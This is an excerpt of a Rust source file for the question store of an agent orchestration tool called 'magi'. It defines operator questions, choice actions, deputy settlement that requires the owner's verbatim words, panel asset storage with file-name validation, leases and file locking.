1use std::path::{Path, PathBuf};
33use std::time::Duration;
34
35use anyhow::{Context, Result, bail};
36use jiff::Timestamp;
37use serde::{Deserialize, Serialize};
38
39use crate::config;
40use crate::proc::Quiet as _;
41use crate::run::RunStatus;
42
43pub const SCHEMA: u32 = 13;
66
67const POLL: Duration = Duration::from_secs(3);
76
77const REPLY_QUIET_WINDOW: Duration = Duration::from_secs(5 * 60);
88
89const NOTIFY_TIMEOUT: Duration = Duration::from_secs(20);
95
96const WAIT_SLICE: Duration = Duration::from_secs(240);
120
121pub const LEASE_TTL: Duration = Duration::from_secs(90);
131
132const LOCK_STALE: Duration = Duration::from_secs(10);
135
136pub const WEB_URL_ENV: &str = "MAGI_WEB_URL";
147
148pub const PANEL_MAX_BYTES: u64 = 8 * 1024 * 1024;
157
158const PANEL_DIR: &str = ".panel";
164
165const PANEL_HTML: &str = "index.html";
167
168const PANEL_TMP: &str = ".panel.tmp";
170
171pub fn valid_asset_name(name: &str) -> bool {
188 if name.is_empty() || name.len() > 64 || name.contains("..") {
189 return false;
190 }
191 let mut chars = name.chars();
192 chars.next().is_some_and(|c| c.is_ascii_alphanumeric())
193 && chars.all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '_' | '-'))
194}
195
196#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
198#[serde(rename_all = "lowercase")]
199pub enum QuestionStatus {
200 Open,
202 Answered,
204 Abandoned,
208}
209
210impl QuestionStatus {
211 pub fn open(self) -> bool {
213 matches!(self, Self::Open)
214 }
215
216 pub fn as_str(self) -> &'static str {
218 match self {
219 Self::Open => "open",
220 Self::Answered => "answered",
221 Self::Abandoned => "abandoned",
222 }
223 }
224}
225
226#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
233#[serde(rename_all = "lowercase")]
234pub enum Answer {
235 Choice(String),
237 Text(String),
239}
240
241#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
249#[serde(tag = "do", rename_all = "lowercase")]
250pub enum ChoiceAction {
251 Resume {
253 run: String,
255 },
256 ResumeRun {
258 run: String,
260 },
261 ReleaseTask {
263 task: String,
265 held_at: jiff::Timestamp,
267 reason: Option<String>,
269 },
270 RerunChecks {
272 repo: PathBuf,
274 pr: String,
276 head: String,
278 runs: Vec<String>,
280 },
281 AbandonRun {
283 run: String,
285 },
286 Requeue,
288 Hold,
290 Done,
292}
293
294impl ChoiceAction {
295 pub fn targets(&self, task: &crate::queue::Task) -> bool {
297 match self {
298 Self::ReleaseTask { task: id, .. } => task.id == *id,
299 Self::ResumeRun { run } | Self::AbandonRun { run } | Self::Resume { run } => {
300 task.runs.contains(run)
301 }
302 _ => false,
303 }
304 }
305
306 pub fn maintenance(&self) -> bool {
308 matches!(
309 self,
310 Self::ResumeRun { .. }
311 | Self::ReleaseTask { .. }
312 | Self::RerunChecks { .. }
313 | Self::AbandonRun { .. }
314 )
315 }
316
317 pub fn parse(spec: &str, default_run: &str) -> Result<(String, Self)> {
322 let split = spec
323 .find("={")
324 .map(|at| (&spec[..at], &spec[at + 1..]))
325 .or_else(|| spec.rsplit_once('='));
326 let Some((label, verb)) = split else {
327 bail!("`--action {spec}` must look like `<choice>=<resume[:run]|requeue|hold|done>`");
328 };
329 let label = label.trim();
330 if label.is_empty() {
331 bail!("`--action {spec}` names no choice before `=`");
332 }
333 let verb = verb.trim();
334 if verb.starts_with('{') {
335 let action = serde_json::from_str(verb).context("parse typed choice action")?;
336 return Ok((label.to_owned(), action));
337 }
338 let action = match verb.split_once(':') {
339 Some(("resumerun", run)) if !run.trim().is_empty() => Self::ResumeRun {
340 run: run.trim().into(),
341 },
342 Some(("abandonrun", run)) if !run.trim().is_empty() => Self::AbandonRun {
343 run: run.trim().into(),
344 },
345 Some(("resume", run)) if !run.trim().is_empty() => Self::Resume {
346 run: run.trim().to_owned(),
347 },
348 None if verb == "resume" => {
349 if default_run.is_empty() {
350 bail!("`--action {spec}` names no run and MAGI_RUN is not set");
351 }
352 Self::Resume {
353 run: default_run.to_owned(),
354 }
355 }
356 None if verb == "requeue" => Self::Requeue,
357 None if verb == "hold" => Self::Hold,
358 None if verb == "done" => Self::Done,
359 _ => bail!(
360 "unknown action `{verb}` in `--action {spec}`; \
361 use resume[:<run>], requeue, hold or done"
362 ),
363 };
364 Ok((label.to_owned(), action))
365 }
366
367 pub fn matches_alias(&self, input: &str) -> bool {
370 let input = input.trim();
371 match self {
372 Self::Resume { run } => {
373 [
374 "resume",
375 "resume run",
376 "resume-run",
377 "再開",
378 "実行再開",
379 "実行を再開",
380 "実行を再開する",
381 ]
382 .iter()
383 .any(|alias| input.eq_ignore_ascii_case(alias))
384 || [
385 format!("resume {run}"),
386 format!("resume:{run}"),
387 format!("resume run {run}"),
388 format!("resume {}", short(run)),
389 format!("resume run {}", short(run)),
390 ]
391 .iter()
392 .any(|alias| input.eq_ignore_ascii_case(alias))
393 }
394 Self::Hold => ["hold", "keep-held", "keep held", "保留"]
395 .iter()
396 .any(|alias| input.eq_ignore_ascii_case(alias)),
397 _ => false,
398 }
399 }
400
401 pub fn describe(&self) -> String {
403 match self {
404 Self::Resume { run } => format!("resume run {}", short(run)),
405 Self::ResumeRun { run } => format!("resume run {}", short(run)),
406 Self::ReleaseTask { task, .. } => format!("release held task {}", short(task)),
407 Self::RerunChecks { pr, .. } => format!("rerun failed checks of {pr} once"),
408 Self::AbandonRun { run } => format!("abandon proven stopped run {}", short(run)),
409 Self::Requeue => "requeue the task".to_owned(),
410 Self::Hold => "hold the task until the operator releases it".to_owned(),
411 Self::Done => "mark the task done".to_owned(),
412 }
413 }
414}
415
416pub fn parse_actions(
419 specs: &[String],
420 choices: &[String],
421 default_run: &str,
422) -> Result<std::collections::BTreeMap<String, ChoiceAction>> {
423 let mut out = std::collections::BTreeMap::new();
424 for spec in specs {
425 let (label, action) = ChoiceAction::parse(spec, default_run)?;
426 if !choices.contains(&label) {
427 bail!(
428 "`--action {spec}`: `{label}` is not one of the --choice values ({})",
429 choices.join(", ")
430 );
431 }
432 if out.insert(label.clone(), action).is_some() {
433 bail!("more than one --action for `{label}`");
434 }
435 }
436 Ok(out)
437}
438
439#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
450#[serde(rename_all = "lowercase")]
451pub enum Who {
452 Operator,
454 Agent,
457}
458
459#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
467#[serde(deny_unknown_fields)]
468pub struct Turn {
469 pub who: Who,
471 pub body: String,
473 pub at: Timestamp,
475 #[serde(default, skip_serializing_if = "Option::is_none")]
480 pub note: Option<String>,
481}
482
483#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize)]
485#[serde(rename_all = "lowercase")]
486pub enum WaiterKind {
487 Asker,
489 Daemon,
492 Deputy,
496}
497
498#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
510pub struct Deputy {
511 pub brief: String,
514 #[serde(default)]
516 pub agent: String,
517 #[serde(default)]
519 pub seat: Option<crate::agent::SeatState>,
520 #[serde(default)]
523 pub starts: u32,
524}
525
526impl Deputy {
527 pub fn new(brief: String) -> Self {
529 Self {
530 brief,
531 agent: String::new(),
532 seat: None,
533 starts: 0,
534 }
535 }
536}
537
538pub fn deputy_seat_key(id: &str) -> String {
540 format!("deputy-{}", short(id))
541}
542
543#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
548pub struct Waiter {
549 pub kind: WaiterKind,
551 pub since: Timestamp,
553}
554
555#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
564pub struct Lease {
565 pub kind: WaiterKind,
567 pub pid: u32,
569 pub beat_at: Timestamp,
571}
572
573impl Lease {
574 pub fn fresh(&self, now: Timestamp) -> bool {
576 now.as_second() - self.beat_at.as_second() <= LEASE_TTL.as_secs() as i64
577 }
578}
579
580#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
582#[serde(deny_unknown_fields)]
583pub struct Question {
584 pub schema: u32,
586 pub id: String,
589 pub run: String,
591 pub node: String,
593 pub seat: String,
596 pub summary: String,
599 pub detail: String,
602 #[serde(default, skip_serializing_if = "Option::is_none")]
604 pub posting_comparison: Option<crate::github_text::PostingComparison>,
605 pub choices: Vec<String>,
609 #[serde(default)]
611 pub merge_target: Option<crate::merge_decision::Target>,
612 #[serde(default)]
616 pub actions: std::collections::BTreeMap<String, ChoiceAction>,
617 #[serde(default)]
624 pub panel: bool,
625 #[serde(default)]
632 pub assets: Vec<String>,
633 pub status: QuestionStatus,
635 pub asked_at: Timestamp,
637 #[serde(default)]
639 pub triage_generation: Option<u64>,
640 pub answered_at: Option<Timestamp>,
642 pub answer: Option<Answer>,
644 #[serde(default)]
653 pub thread: Vec<Turn>,
654 #[serde(default)]
669 pub answer_timeout: u64,
670 #[serde(default)]
676 pub cwd: Option<String>,
677 #[serde(default)]
679 pub waiter: Option<Waiter>,
680 #[serde(default)]
684 pub delivered_turns: usize,
685 #[serde(default)]
688 pub answer_delivered: bool,
689 #[serde(default)]
692 pub deputy: Option<Deputy>,
693 #[serde(default)]
697 pub consult: Option<ChatConsult>,
698 #[serde(default, skip_serializing_if = "Option::is_none")]
700 pub answer_authority: Option<crate::consult::AnswerAuthority>,
701 #[serde(default, skip_serializing_if = "Option::is_none")]
703 pub consult_outcome: Option<crate::consult::ConsultOutcome>,
704 #[serde(default)]
707 pub decision_context: Option<String>,
708}
709
710#[derive(Debug, Clone, PartialEq, Eq, Serialize, Deserialize)]
712pub struct ChatConsult {
713 pub talk: String,
715 pub at: Timestamp,
717}
718
719impl Question {
720 pub fn run_names_task(&self) -> bool {
723 matches!(
724 self.node.as_str(),
725 crate::conduct::NODE | crate::triage::NODE | crate::triage::DEPS_NODE
726 )
727 }
728
729 pub fn new(
732 run: String,
733 node: String,
734 seat: String,
735 summary: String,
736 detail: String,
737 choices: Vec<String>,
738 ) -> Self {
739 Self {
740 schema: SCHEMA,
741 id: new_id(),
742 run,
743 node,
744 seat,
745 summary,
746 detail,
747 posting_comparison: None,
748 choices,
749 merge_target: None,
750 actions: std::collections::BTreeMap::new(),
751 panel: false,
752 assets: Vec::new(),
753 status: QuestionStatus::Open,
754 asked_at: Timestamp::now(),
755 triage_generation: None,
756 answered_at: None,
757 answer: None,
758 thread: Vec::new(),
759 answer_timeout: 0,
760 cwd: None,
761 waiter: None,
762 delivered_turns: 0,
763 answer_delivered: false,
764 deputy: None,
765 consult: None,
766 answer_authority: None,
767 consult_outcome: None,
768 decision_context: None,
769 }
770 }
771
772 pub fn short(&self) -> &str {
774 short(&self.id)
775 }
776
777 pub fn chosen_action(&self) -> Option<&ChoiceAction> {
780 match (&self.status, &self.answer) {
781 (QuestionStatus::Answered, Some(Answer::Choice(c))) => self.actions.get(c),
782 _ => None,
783 }
784 }
785
786 pub fn free_text(&self) -> bool {
788 self.choices.is_empty()
789 }
790
791 pub fn resolve_reply<'a>(&'a self, reply: &'a str) -> Result<&'a str> {
794 if self.free_text() || self.choices.iter().any(|c| c == reply) {
795 return Ok(reply);
796 }
797 if ChoiceAction::Hold.matches_alias(reply)
798 && let Some(label) = self
799 .choices
800 .iter()
801 .find(|label| crate::triage::contextual_keep_held(self, label))
802 {
803 return Ok(label);
804 }
805 let matches: Vec<_> = self
806 .actions
807 .iter()
808 .filter(|(label, action)| self.choices.contains(label) && action.matches_alias(reply))
809 .collect();
810 match matches.as_slice() {
811 [(label, _)] => Ok(label.as_str()),
812 [] => bail!(
813 "alias mismatch: `{reply}` is not an offered label or supported action alias; inspect `magi answer --list`"
814 ),
815 _ => bail!(
816 "ambiguous action alias: `{reply}` matches multiple choices; select the intended offered label"
817 ),
818 }
819 }
820
821 pub fn answer(&mut self, answer: Answer) -> Result<()> {
831 match self.status {
832 QuestionStatus::Answered => bail!(
833 "question {} was already answered; the run has moved on and a \
834 second answer would be a decision nobody acted on",
835 self.short()
836 ),
837 QuestionStatus::Abandoned => bail!(
838 "question {} was abandoned and the run behind it is gone",
839 self.short()
840 ),
841 QuestionStatus::Open => {}
842 }
843 let body = match &answer {
844 Answer::Choice(c) | Answer::Text(c) => c.as_str(),
845 };
846 if body.trim().is_empty() {
847 bail!(
848 "question {} needs an answer; an empty one tells the agent \
849 nothing and it would guess anyway",
850 self.short()
851 );
852 }
853 match &answer {
854 Answer::Choice(c) if self.free_text() => bail!(
855 "question {} asks for free text, so `{c}` cannot be a choice \
856 it offered",
857 self.short()
858 ),
859 Answer::Choice(c) if !self.choices.iter().any(|o| o == c) => bail!(
860 "`{c}` is not one of the choices question {} offers: {}",
861 self.short(),
862 self.choices.join(", ")
863 ),
864 Answer::Text(_) if !self.free_text() => bail!(
865 "question {} is multiple choice; answer with one of: {}",
866 self.short(),
867 self.choices.join(", ")
868 ),
869 _ => {}
870 }
871 if body.eq_ignore_ascii_case(crate::land::HOLD) && self.actions.contains_key(body) {
872 bail!("hold cannot execute a question action");
873 }
874 self.answered_at = Some(Timestamp::now());
875 self.answer = Some(answer);
876 self.status = QuestionStatus::Answered;
877 Ok(())
878 }
879
880 pub fn abandon(&mut self, why: impl Into<String>) {
892 if !self.status.open() {
893 return;
894 }
895 self.status = QuestionStatus::Abandoned;
896 let why = why.into();
897 let why = why.trim();
898 if why.is_empty() {
899 return;
900 }
901 if !self.detail.is_empty() {
902 self.detail.push('\n');
903 }
904 self.detail.push_str("\n_Abandoned: ");
905 self.detail.push_str(why);
906 self.detail.push_str("._\n");
907 }
908
909 pub fn resolution(&self) -> Option<String> {
916 match (self.status, &self.answer) {
917 (QuestionStatus::Answered, Some(Answer::Choice(a) | Answer::Text(a))) => {
918 Some(a.clone())
919 }
920 _ => None,
921 }
922 }
923
924 pub fn settle_by_deputy(
935 &mut self,
936 seat: &str,
937 label: &str,
938 quote: &str,
939 note: Option<&str>,
940 ) -> Result<()> {
941 let Some(deputy) = &self.deputy else {
942 bail!("question {} has no deputy", self.short());
943 };
944 let own = deputy.seat.as_ref().map(|s| s.key.as_str());
945 if own != Some(seat) {
946 bail!("only the deputy of question {} may settle it", self.short());
947 }
948 if !self.choices.iter().any(|c| c == label) {
949 bail!(
950 "`{label}` is not one of the choices offered on question {}",
951 self.short()
952 );
953 }
954 let quote = quote.trim();
955 if quote.is_empty()
956 || !self
957 .thread
958 .iter()
959 .any(|t| t.who == Who::Operator && t.body.contains(quote))
960 {
961 bail!(
962 "the quote is not something the owner said on question {}",
963 self.short()
964 );
965 }
966 let latest = self
969 .thread
970 .iter()
971 .rev()
972 .find(|t| t.who == Who::Operator)
973 .map(|t| {
974 if self.node == crate::github_text::ASK_NODE && !crate::deputy::merge_gated(self) {
975 t.body.as_str()
976 } else {
977 t.body.trim()
978 }
979 });
980 if let Some(message) = latest {
981 crate::consult::validate_batch_effect(self, label, message, quote)?;
982 }
983 if self.node == crate::github_text::ASK_NODE && label == crate::github_text::USE_MY_TEXT {
984 let message = latest.context("use my text requires a current owner instruction with the literal replacement title")?;
985 crate::consult::validate_effect(self, label, message, quote, true)?;
986 } else if crate::deputy::merge_gated(self) {
987 let ok = if label == crate::land::APPROVE {
993 latest.is_some_and(|m| match &self.merge_target {
994 Some(target) => m == format!("merge {}", target.head) && quote == m,
995 None => m.contains(quote),
996 })
997 } else {
998 latest.is_some_and(|m| crate::merge_decision::exact_owner_choice(label, m, quote))
999 };
1000 if !ok {
1001 bail!(
1002 "on a merge approval `{label}` settles it only when the quote is a \
1003 verbatim part of the owner's latest message ({}); if the wording is \
1004 doubtful, ask what they mean with `--thread` instead",
1005 if label == crate::land::HOLD {
1006 "for `hold`, the whole message"
1007 } else {
1008 "the quote must be the instruction itself"
1009 }
1010 );
1011 }
1012 } else if self.node == crate::github_text::ASK_NODE
1013 && crate::deputy::destructive(self, label)
1014 {
1015 if !latest.is_some_and(|m| crate::github_text::posting_authorized(m, quote, label)) {
1016 bail!(
1017 "posting confirmation requires an explicit, unconditional instruction for the chosen text quoted verbatim from the latest owner message"
1018 );
1019 }
1020 } else if crate::deputy::destructive(self, label)
1021 && !latest.is_some_and(|m| crate::land::unhedged(m, quote))
1022 {
1023 bail!(
1024 "`{label}` cannot be undone; it settles question {} only when the owner's \
1025 latest message clearly says so, unhedged and quoted verbatim (no maybe / if \
1026 / not / question); ask what they mean with `--thread` instead",
1027 self.short()
1028 );
1029 }
1030 self.thread.push(Turn {
1031 who: Who::Agent,
1032 body: format!("Settled as `{label}` on the owner's words: \"{quote}\""),
1033 at: Timestamp::now(),
1034 note: note
1035 .map(str::trim)
1036 .filter(|n| !n.is_empty())
1037 .map(str::to_owned),
1038 });
1039 self.delivered_turns = self.thread.len();
1040 self.answer(Answer::Choice(label.to_owned()))
1041 }
1042
1043 pub fn say(&mut self, body: impl Into<String>) -> Result<()> {
1054 match self.status {
1055 QuestionStatus::Answered => bail!(
1056 "question {} was already answered; there is nothing left to \
1057 discuss",
1058 self.short()
1059 ),
1060 QuestionStatus::Abandoned => bail!(
1061 "question {} was abandoned and the run behind it is gone",
1062 self.short()
1063 ),
1064 QuestionStatus::Open => {}
1065 }
1066 let body = body.into();
1067 if body.trim().is_empty() {
1068 bail!("a message to question {} cannot be empty", self.short());
1069 }
1070 self.thread.push(Turn {
1071 who: Who::Operator,
1072 body,
1073 at: Timestamp::now(),
1074 note: None,
1075 });
1076 Ok(())
1077 }
1078
1079 pub fn reply(&mut self, body: impl Into<String>, choices: Vec<String>) -> Result<()> {
1089 match self.status {
1090 QuestionStatus::Answered => bail!(
1091 "question {} was already answered; replying now would not \
1092 reach anyone",
1093 self.short()
1094 ),
1095 QuestionStatus::Abandoned => bail!(
1096 "question {} was abandoned and the run behind it is gone",
1097 self.short()
1098 ),
1099 QuestionStatus::Open => {}
1100 }
1101 let body = body.into();
1102 if body.trim().is_empty() {
1103 bail!("a reply to question {} cannot be empty", self.short());
1104 }
1105 self.actions.retain(|label, _| choices.contains(label));
1107 self.choices = choices;
1108 let unread = self.unread_from_owner().is_some();
1109 self.thread.push(Turn {
1110 who: Who::Agent,
1111 body,
1112 at: Timestamp::now(),
1113 note: None,
1114 });
1115 if !unread {
1119 self.delivered_turns = self.thread.len();
1120 }
1121 Ok(())
1122 }
1123
1124 pub fn unread_from_owner(&self) -> Option<String> {
1131 if !self.status.open() {
1132 return None;
1133 }
1134 let said = self.undelivered_owner_turns();
1135 (!said.is_empty()).then(|| said.join("\n\n"))
1136 }
1137
1138 pub fn undelivered_owner_turns(&self) -> Vec<&str> {
1144 let from = self.delivered_turns.min(self.thread.len());
1145 self.thread[from..]
1146 .iter()
1147 .filter(|t| t.who == Who::Operator)
1148 .map(|t| t.body.as_str())
1149 .collect()
1150 }
1151
1152 pub fn last_activity(&self) -> i64 {
1156 self.thread
1157 .iter()
1158 .map(|t| t.at.as_second())
1159 .max()
1160 .unwrap_or(0)
1161 .max(self.asked_at.as_second())
1162 }
1163
1164 pub fn waiting_on_agent(&self) -> bool {
1173 self.status.open() && matches!(self.thread.last(), Some(t) if t.who == Who::Operator)
1174 }
1175
1176 fn should_notify(&self, now: Timestamp) -> bool {
1184 let Some(last) = self
1185 .thread
1186 .iter()
1187 .rev()
1188 .find(|t| t.who == Who::Operator)
1189 .map(|t| t.at)
1190 else {
1191 return true;
1192 };
1193 now.as_second() - last.as_second() > REPLY_QUIET_WINDOW.as_secs() as i64
1194 }
1195}
1196
1197#[derive(Debug, Clone)]
1199pub struct Questions {
1200 root: PathBuf,
1201}
1202
1203impl Questions {
1204 pub fn open() -> Self {
1206 Self::at(crate::run::home().join("questions"))
1207 }
1208
1209 pub fn at(root: PathBuf) -> Self {
1212 Self { root }
1213 }
1214
1215 pub fn root(&self) -> &Path {
1217 &self.root
1218 }
1219
1220 pub fn path_of(&self, id: &str) -> PathBuf {
1222 self.root.join(format!("{id}.json"))
1223 }
1224
1225 pub fn panel_dir(&self, id: &str) -> PathBuf {
1227 self.root.join(format!("{id}{PANEL_DIR}"))
1228 }
1229
1230 pub fn put_panel(&self, q: &mut Question, html: &str, assets: &[PathBuf]) -> Result<()> {
1254 if !valid_asset_name(&q.id) {
1255 bail!(
1256 "question id `{}` is not a name magi will build a panel path from",
1257 q.id
1258 );
1259 }
1260 if html.trim().is_empty() {
1261 bail!(
1262 "question {} was handed an empty panel; an empty frame reads to \
1263 the owner as \"the agent had nothing to say\", which is a lie",
1264 q.short()
1265 );
1266 }
1267
1268 let mut named: Vec<(String, &Path)> = Vec::with_capacity(assets.len());
1271 for src in assets {
1272 let name = src.file_name().and_then(|n| n.to_str()).unwrap_or_default();
1273 if !valid_asset_name(name) {
1274 bail!(
1275 "panel asset `{}` cannot be stored: a panel file name must \
1276 match ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`",
1277 src.display()
1278 );
1279 }
1280 if let Some((_, first)) = named.iter().find(|(n, _)| n == name) {
1281 bail!(
1282 "two panel assets are both named `{name}` - {} and {} - and \
1283 the panel can only show one of them; rename one at the source",
1284 first.display(),
1285 src.display()
1286 );
1287 }
1288 named.push((name.to_owned(), src.as_path()));
1289 }
1290
1291 let mut total = html.len() as u64;
1292 for (_, src) in &named {
1293 let meta = std::fs::metadata(src)
1294 .with_context(|| format!("stat panel asset {}", src.display()))?;
1295 if !meta.is_file() {
1296 bail!(
1297 "panel asset `{}` is not a file; a panel is html plus files \
1298 copied beside it",
1299 src.display()
1300 );
1301 }
1302 total = total.saturating_add(meta.len());
1303 }
1304 if total > PANEL_MAX_BYTES {
1305 bail!(
1306 "panel for question {} is {total} bytes, over magi's cap of \
1307 {PANEL_MAX_BYTES} bytes; nothing was written",
1308 q.short()
1309 );
1310 }
1311
1312 let tmp = self.root.join(format!("{}{PANEL_TMP}", q.id));
1313 let dir = self.panel_dir(&q.id);
1314 std::fs::create_dir_all(&self.root)
1315 .with_context(|| format!("create {}", self.root.display()))?;
1316 clear_dir(&tmp)?;
1317 std::fs::create_dir(&tmp).with_context(|| format!("create {}", tmp.display()))?;
1318 if let Err(e) = fill_panel(&tmp, html, &named) {
1319 let _ = std::fs::remove_dir_all(&tmp);
1322 return Err(e);
1323 }
1324 clear_dir(&dir)?;
1325 std::fs::rename(&tmp, &dir)
1326 .with_context(|| format!("move panel into {}", dir.display()))?;
1327
1328 q.panel = true;
1329 q.assets = named.into_iter().map(|(n, _)| n).collect();
1330 q.assets.sort_unstable();
1331 Ok(())
1332 }
1333
1334 pub fn panel_html(&self, id: &str) -> Option<String> {
1340 if !valid_asset_name(id) {
1341 return None;
1342 }
1343 std::fs::read_to_string(self.panel_dir(id).join(PANEL_HTML)).ok()
1344 }
1345
1346 pub fn panel_asset(&self, id: &str, name: &str) -> Result<Option<Vec<u8>>> {
1357 if !valid_asset_name(name) {
1358 bail!(
1359 "`{name}` is not a panel file name; it must match \
1360 ^[A-Za-z0-9][A-Za-z0-9._-]{{0,63}}$ and contain no `..`"
1361 );
1362 }
1363 if !valid_asset_name(id) {
1364 return Ok(None);
1365 }
1366 let dir = self.panel_dir(id);
1367 if !dir.is_dir() {
1368 return Ok(None);
1369 }
1370 let path = dir.join(name);
1371 match std::fs::read(&path) {
1372 Ok(bytes) => Ok(Some(bytes)),
1373 Err(e) if e.kind() == std::io::ErrorKind::NotFound => Ok(None),
1374 Err(e) => Err(e).with_context(|| format!("read {}", path.display())),
1375 }
1376 }
1377
1378 pub fn drop_panel(&self, id: &str) -> Result<()> {
1387 if !valid_asset_name(id) {
1388 bail!("question id `{id}` is not a name magi will build a panel path from");
1389 }
1390 clear_dir(&self.panel_dir(id))?;
1391 clear_dir(&self.root.join(format!("{id}{PANEL_TMP}")))
1392 }
1393
1394 pub fn lease_path(&self, id: &str) -> PathBuf {
1396 self.root.join(format!("{id}.lease"))
1397 }
1398
1399 pub fn read_lease(&self, id: &str) -> Option<Lease> {
1401 let body = std::fs::read_to_string(self.lease_path(id)).ok()?;
1402 serde_json::from_str(&body).ok()
1403 }
1404
1405 pub fn beat(&self, id: &str, kind: WaiterKind) {
1412 let lease = Lease {
1413 kind,
1414 pid: std::process::id(),
1415 beat_at: Timestamp::now(),
1416 };
1417 let path = self.lease_path(id);
1418 let tmp = path.with_extension("lease.tmp");
1419 let written = std::fs::create_dir_all(&self.root)
1420 .and_then(|()| std::fs::write(&tmp, serde_json::to_string(&lease).unwrap_or_default()))
1421 .and_then(|()| std::fs::rename(&tmp, &path));
1422 if let Err(e) = written {
1423 tracing::debug!("could not beat the lease on question {id}: {e}");
1424 }
1425 }
1426
1427 pub fn drop_lease(&self, id: &str) {
1429 let _ = std::fs::remove_file(self.lease_path(id));
1430 }
1431
1432 pub fn update<T>(
1443 &self,
1444 id: &str,
1445 f: impl FnOnce(&mut Question) -> Result<T>,
1446 ) -> Result<(Question, T)> {
1447 std::fs::create_dir_all(&self.root)
1448 .with_context(|| format!("create {}", self.root.display()))?;
1449 let lock = self.root.join(format!("{id}.lock"));
1450 let started = std::time::Instant::now();
1451 let retry = crate::lock_file::Retry::new(Some(started + LOCK_STALE));
1452 loop {
1453 match retry.create(&lock) {
1454 Ok(_) => break,
1455 Err(e) if e.kind() == std::io::ErrorKind::AlreadyExists => {
1456 let stale = std::fs::metadata(&lock)
1457 .and_then(|m| m.modified())
1458 .ok()
1459 .and_then(|t| t.elapsed().ok())
1460 .is_some_and(|age| age > LOCK_STALE);
1461 if stale {
1462 let _ = std::fs::remove_file(&lock);
1463 } else if started.elapsed() > LOCK_STALE {
1464 bail!("could not lock question {id}");
1465 } else {
1466 std::thread::sleep(Duration::from_millis(15));
1467 }
1468 }
1469 Err(e) => return Err(e).with_context(|| format!("lock {}", lock.display())),
1470 }
1471 }
1472 struct Unlock(PathBuf);
1473 impl Drop for Unlock {
1474 fn drop(&mut self) {
1475 let _ = std::fs::remove_file(&self.0);
1476 }
1477 }
1478 let _guard = Unlock(lock);
1479 let mut q = read_path(&self.path_of(id))?;
1480 let was_dismissed = q.resolution().as_deref() == Some(crate::merge_decision::DISMISS);
1481 let out = f(&mut q)?;
1482 if !was_dismissed && q.resolution().as_deref() == Some(crate::merge_decision::DISMISS) {
1483 let home = self.root.parent().context("question store has no home")?;
1484 crate::merge_decision::dismiss(home, &q)?;
1485 }
1486 self.put(&mut q)?;
1487 Ok((q, out))
1488 }
1489
1490 pub fn put_executable(&self, q: &mut Question) -> Result<()> {
1493 anyhow::ensure!(
1494 q.actions.keys().all(|c| q.choices.contains(c)),
1495 "question action names an unoffered choice"
1496 );
1497 for label in &q.choices {
1498 anyhow::ensure!(
1499 crate::choice_effect::describe(q, label).is_some(),
1500 "question node {} offers an unsupported choice: {label}",
1501 q.node
1502 );
1503 }
1504 self.put(q)
1505 }
1506
1507 pub fn put(&self, q: &mut Question) -> Result<()> {
1511 std::fs::create_dir_all(&self.root)
1512 .with_context(|| format!("create {}", self.root.display()))?;
1513 let body = serde_json::to_string_pretty(q).context("serialize question")?;
1514 let path = self.path_of(&q.id);
1515 let tmp = path.with_extension("json.tmp");
1516 let is_new = !path.exists();
1517 std::fs::write(&tmp, &body).with_context(|| format!("write {}", tmp.display()))?;
1518 std::fs::rename(&tmp, &path).with_context(|| format!("replace {}", path.display()))?;
1519 if is_new
1522 && q.status.open()
1523 && q.node != crate::bump::NOTICE_NODE
1524 && let Some(home) = self.root.parent().filter(|p| !p.as_os_str().is_empty())
1525 {
1526 crate::notices::quiet_for(home, q);
1527 }
1528 Ok(())
1529 }
1530
1531 pub fn get(&self, id: &str) -> Result<Question> {
1533 let resolved = self.resolve_id(id)?;
1534 let q = read_path(&self.path_of(&resolved))?;
1535 Ok(self.with_repair_choice(q))
1536 }
1537
1538 fn with_repair_choice(&self, mut q: Question) -> Question {
1539 if q.status.open()
1542 && q.merge_target.is_none()
1543 && let Some(home) = self.root.parent()
1544 && let Some(target) = crate::release_watch::approval_target(home, &q)
1545 && let Ok((current, ())) = self.update(&q.id, |current| {
1546 if current.status.open() && current.merge_target.is_none() {
1547 current.merge_target = Some(target.clone());
1548 }
1549 Ok(())
1550 })
1551 {
1552 q = current;
1553 }
1554 if (q.status.open() || q.resolution().as_deref() == Some(crate::land::REPAIR))
1555 && q.node == crate::land::APPROVAL_NODE
1556 && let Some(home) = self.root.parent()
1557 && let Ok(state) = crate::run::RunState::load_under(&q.run, home)
1558 {
1559 let mut upgraded = q.clone();
1560 if crate::land::upgrade_repair_choice(&mut upgraded, &state) {
1561 match self.update(&q.id, |current| {
1562 crate::land::upgrade_repair_choice(current, &state);
1563 Ok(())
1564 }) {
1565 Ok((current, ())) => return current,
1566 Err(_) => return read_path(&self.path_of(&q.id)).unwrap_or(q),
1567 }
1568 }
1569 }
1570 q
1571 }
1572
1573 pub fn list(&self) -> Vec<Question> {
1581 let mut all: Vec<Question> = std::fs::read_dir(&self.root)
1582 .into_iter()
1583 .flatten()
1584 .flatten()
1585 .map(|e| e.path())
1586 .filter(|p| p.extension().is_some_and(|x| x == "json"))
1587 .filter_map(|p| read_path(&p).ok())
1588 .map(|q| self.with_repair_choice(q))
1589 .collect();
1590 all.sort_unstable_by(|a, b| {
1591 let rank = |q: &Question| u8::from(!q.status.open());
1592 rank(a).cmp(&rank(b)).then_with(|| b.id.cmp(&a.id))
1593 });
1594 all
1595 }
1596
1597 pub fn open_for(&self, run: &str) -> Vec<Question> {
1603 self.list()
1604 .into_iter()
1605 .filter(|q| q.status.open() && q.run == run)
1606 .collect()
1607 }
1608
1609 pub fn abandon_for_run(&self, run: &str, why: &str) -> Result<usize> {
1622 let mut abandoned = 0;
1623 for mut q in self.open_for(run) {
1624 q.abandon(why);
1625 self.put(&mut q)?;
1626 abandoned += 1;
1627 }
1628 Ok(abandoned)
1629 }
1630
1631 pub fn settle_run(&self, run: &str, status: RunStatus) -> Result<usize> {
